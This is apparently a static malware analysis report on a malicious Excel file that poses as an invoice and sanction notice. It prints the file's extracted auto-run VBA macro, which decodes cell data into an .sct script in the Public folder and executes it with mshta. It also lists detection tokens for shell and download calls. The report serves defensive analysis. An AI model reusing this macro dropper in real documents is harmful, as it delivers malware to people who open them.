Malicious Office (OOXML) / .XLSX — malware analysis report

Static analysis result for SHA-256 081618f7d9c6c922…

MALICIOUS

Office (OOXML) / .XLSX

334.8 KB Created: 2019-06-17 17:48:55 UTC Authoring application: Microsoft Excel 12.0000 First seen: 2026-05-25
MD5: 1f196d875fd7d89ac57831926bbb9563 SHA-1: 3ed1e676f334ab3f82d3a056dad079f85458bfb4 SHA-256: 081618f7d9c6c92271f8d6bc65c8e13f33dfe9e5022f06aaec95664ee31fead4
136 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample is an Excel spreadsheet containing VBA macros. The WorkBook_Open macro is designed to execute a payload. It constructs a path to a script file using the ALLUSERSPROFILE environment variable and a hardcoded string, resulting in the path 'C:\Users\Public\theExcel2FarEast.sct'. It then uses the Shell function to execute this script via 'mshta C:\Users\Public\theExcel2FarEast.sct'. The document body content, presenting a fake invoice and sanction notice, serves as a lure to encourage the user to open the malicious spreadsheet.

Heuristics 5

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell (Cells(138, 94) & theRangeAutoFormatPTNone)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub WorkBook_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
            theRangeAutoFormatPTNone = Environ(Cells(42, 66)) & Cells(195, 86)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1096 bytes
SHA-256: 9fac38c706df2fe045ad9cfc8e0f8d8170cd6fb8038f402d4d1df33dd36a193e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub WorkBook_Open()
    For Each theRangeAutoFormatAccounting3 In ActiveWorkbook.Sheets(CStr(Cells(207, 83))).Range(CStr(Cells(181, 96)))
            theYDMFormat = theYDMFormat & Chr(theRangeAutoFormatAccounting3.Value + 13000)
    Next theRangeAutoFormatAccounting3
        theRangeAutoFormatPTNone = Environ(Cells(42, 66)) & Cells(195, 86)
Open theRangeAutoFormatPTNone For Output As #1
Print #1, theYDMFormat
Close #1
Shell (Cells(138, 94) & theRangeAutoFormatPTNone)
End Sub

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 9216 bytes
SHA-256: 7cf908dbe9b599dc6405ac634f9e2f9404e67db6748019bf087f6f1df610a0b6

Open this report in the interactive analyzer, or submit your own file for analysis.